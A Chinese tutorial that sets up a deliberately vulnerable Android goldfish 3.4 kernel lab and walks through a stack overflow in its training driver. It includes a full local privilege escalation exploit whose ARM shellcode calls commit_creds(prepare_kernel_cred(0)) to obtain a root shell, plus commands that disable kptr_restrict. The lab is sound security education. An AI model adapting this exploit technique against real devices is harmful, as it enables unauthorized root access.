Android内核漏洞——初探
字数 1528 2025-08-22 12:22:24

Android内核漏洞初探:栈缓冲区溢出漏洞分析与利用

环境搭建

系统要求

  • 操作系统:Ubuntu 16.04
  • 目标内核版本:Android goldfish 3.4

步骤1:获取内核源码

git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git

步骤2:获取漏洞项目

git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges

步骤3:切换到3.4内核版本

cd goldfish
git checkout -t origin/android-goldfish-3.4

步骤4:应用漏洞补丁

git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch
cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities

步骤5:获取交叉编译工具链

git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6

步骤6:构建内核

export ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-linux-androideabi-
export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH
cd goldfish && make goldfish_armv7_defconfig && make -j8

构建完成后会生成两个重要文件:

  • goldfish/vmlinux:用于调试时gdb加载,提供符号表
  • goldfish/arch/arm/boot/zImage:用于安卓模拟器启动时加载

步骤7:安装JDK和SDK

sudo apt update
sudo apt-get install default-jre default-jdk
wget http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
tar xvf android-sdk_r24.4.1-linux.tgz
export PATH=YOURPATH/android-sdk-linux/tools:$PATH

步骤8:创建安卓模拟器

android create avd --force -t "android-19" -n kernel_challenges

步骤9:启动模拟器并开启调试

cd goldfish
emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

步骤10:调试准备

sudo ln -s /usr/lib/x86_64-linux-gnu/libpython2.7.so /lib/x86_64-linux-gnu/libpython2.6.so.1.0
arm-linux-androideabi-gdb vmlinux
(gdb) target remote :1234

漏洞分析:栈缓冲区溢出

漏洞代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");

static struct proc_dir_entry *stack_buffer_proc_entry;

int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data) {
    char buf[MAX_LENGTH];
    
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
        return -EFAULT;
    }
    
    return count;
}

static int __init stack_buffer_proc_init(void) {
    stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);
    stack_buffer_proc_entry->write_proc = proc_entry_write;
    printk(KERN_INFO "created /proc/stack_buffer_overflow\n");
    return 0;
}

static void __exit stack_buffer_proc_exit(void) {
    if (stack_buffer_proc_entry) {
        remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
    }
    printk(KERN_INFO "vuln_stack_proc_entry removed\n");
}

module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);

漏洞原理

  1. 驱动创建了/proc/stack_buffer_overflow设备文件
  2. 当对该文件调用write系统调用时,会调用proc_entry_write函数
  3. 函数中定义了一个64字节的栈缓冲区buf
  4. copy_from_user函数在拷贝数据时未检查长度,直接拷贝用户空间数据到内核空间
  5. 攻击者可以构造超过64字节的数据覆盖栈上的返回地址,劫持程序流程

前置知识

PXN (Privileged Execute-Never)

  • ARM平台的内核保护机制
  • 禁止内核执行用户空间的代码(但不阻止读取用户空间数据)
  • 由页表属性的PXN位控制
  • 3.4内核未开启PXN保护,可以执行用户态内存中的shellcode
  • 3.10+内核默认开启PXN保护

Kernel Address Display Restriction

  • /proc/kallsyms文件保存所有内核符号及其内存地址
  • 从Ubuntu 11.04和RHEL 7开始,/proc/sys/kernel/kptr_restrict默认设为1,防止内核地址泄露
  • 检查状态:
cat /proc/kallsyms | grep commit_creds
  • 关闭保护(用于调试):
echo 0 > /proc/sys/kernel/kptr_restrict

漏洞验证(POC)

echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow

这会触发kernel panic并劫持PC寄存器。

漏洞利用(EXP)

利用思路

  1. 使用prepare_kernel_cred(0)创建特权用户cred
  2. 使用commit_creds(prepare_kernel_cred(0))将当前用户cred设置为特权cred
  3. 通过MSR CPSR_c,R3从内核态切换回用户态
  4. 执行execl("/system/bin/sh", "sh", NULL)获取root shell

完整EXP代码

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MAX 64

int open_file(void) {
    int fd = open("/proc/stack_buffer_overflow", O_RDWR);
    if (fd == -1) err(1, "open");
    return fd;
}

void payload(void) {
    printf("[+] enjoy the shell\n");
    execl("/system/bin/sh", "sh", NULL);
}

extern uint32_t shellCode[];
asm(
    "   .text\n"
    "   .align 2\n"
    "   .code 32\n"
    "   .globl shellCode\n\t"
    "shellCode:\n\t"
    // commit_creds(prepare_kernel_cred(0)get root
    "LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr
    "MOV R0, #0\n\t"
    "BLX R3\n\t"
    "LDR R3, =0xc0039834\n\t" //commit_creds addr
    "BLX R3\n\t"
    "mov r3, #0x40000010\n\t"
    "MSR CPSR_c,R3\n\t"
    "LDR R3, =0x82d5\n\t" // payload function addr
    "BLX R3\n\t");

void trigger_vuln(int fd) {
    #define MAX_PAYLOAD (MAX + 2 * sizeof(void *))
    char buf[MAX_PAYLOAD];
    memset(buf, 'A', sizeof(buf));
    void *pc = buf + MAX + 1 * sizeof(void *);
    printf("shellcdoe addr: %p\n", shellCode);
    printf("payload:%p\n", payload);
    *(void **)pc = (void *)shellCode; //ret addr
    write(fd, buf, sizeof(buf));
}

int main(void) {
    int fd;
    fd = open_file();
    trigger_vuln(fd);
    payload();
    close(fd);
}

Shellcode解释

  1. LDR R3, =0xc0039d34 - 加载prepare_kernel_cred函数地址到R3
  2. MOV R0, #0 - 设置参数0
  3. BLX R3 - 调用prepare_kernel_cred(0)
  4. LDR R3, =0xc0039834 - 加载commit_creds函数地址到R3
  5. BLX R3 - 调用commit_creds(prepare_kernel_cred(0))
  6. mov r3, #0x40000010 - 准备切换模式的值
  7. MSR CPSR_c,R3 - 通过CPSR状态寄存器切换到用户模式
  8. LDR R3, =0x82d5 - 加载payload函数地址(需根据实际地址调整)
  9. BLX R3 - 跳转到payload函数

常见问题解决

  1. adb push遇到read-only system
adb remount
adb shell chmod 777 system
  1. BX跳转地址
  • 由于thumb指令的原因,实际跳转地址是IDA中看到的地址+1

参考资源

  1. ARM Linux内核启动分析
  2. AndroidKernelExploitationPlayground解决方案
Android内核漏洞初探:栈缓冲区溢出漏洞分析与利用 环境搭建 系统要求 操作系统:Ubuntu 16.04 目标内核版本:Android goldfish 3.4 步骤1:获取内核源码 步骤2:获取漏洞项目 步骤3:切换到3.4内核版本 步骤4:应用漏洞补丁 步骤5:获取交叉编译工具链 步骤6:构建内核 构建完成后会生成两个重要文件: goldfish/vmlinux :用于调试时gdb加载,提供符号表 goldfish/arch/arm/boot/zImage :用于安卓模拟器启动时加载 步骤7:安装JDK和SDK 步骤8:创建安卓模拟器 步骤9:启动模拟器并开启调试 步骤10:调试准备 漏洞分析:栈缓冲区溢出 漏洞代码 漏洞原理 驱动创建了 /proc/stack_buffer_overflow 设备文件 当对该文件调用write系统调用时,会调用 proc_entry_write 函数 函数中定义了一个64字节的栈缓冲区 buf copy_from_user 函数在拷贝数据时未检查长度,直接拷贝用户空间数据到内核空间 攻击者可以构造超过64字节的数据覆盖栈上的返回地址,劫持程序流程 前置知识 PXN (Privileged Execute-Never) ARM平台的内核保护机制 禁止内核执行用户空间的代码(但不阻止读取用户空间数据) 由页表属性的PXN位控制 3.4内核未开启PXN保护,可以执行用户态内存中的shellcode 3.10+内核默认开启PXN保护 Kernel Address Display Restriction /proc/kallsyms 文件保存所有内核符号及其内存地址 从Ubuntu 11.04和RHEL 7开始, /proc/sys/kernel/kptr_restrict 默认设为1,防止内核地址泄露 检查状态: 关闭保护(用于调试): 漏洞验证(POC) 这会触发kernel panic并劫持PC寄存器。 漏洞利用(EXP) 利用思路 使用 prepare_kernel_cred(0) 创建特权用户cred 使用 commit_creds(prepare_kernel_cred(0)) 将当前用户cred设置为特权cred 通过 MSR CPSR_c,R3 从内核态切换回用户态 执行 execl("/system/bin/sh", "sh", NULL) 获取root shell 完整EXP代码 Shellcode解释 LDR R3, =0xc0039d34 - 加载 prepare_kernel_cred 函数地址到R3 MOV R0, #0 - 设置参数0 BLX R3 - 调用 prepare_kernel_cred(0) LDR R3, =0xc0039834 - 加载 commit_creds 函数地址到R3 BLX R3 - 调用 commit_creds(prepare_kernel_cred(0)) mov r3, #0x40000010 - 准备切换模式的值 MSR CPSR_c,R3 - 通过CPSR状态寄存器切换到用户模式 LDR R3, =0x82d5 - 加载payload函数地址(需根据实际地址调整) BLX R3 - 跳转到payload函数 常见问题解决 adb push遇到read-only system : BX跳转地址 : 由于thumb指令的原因,实际跳转地址是IDA中看到的地址+1 参考资源 ARM Linux内核启动分析 AndroidKernelExploitationPlayground解决方案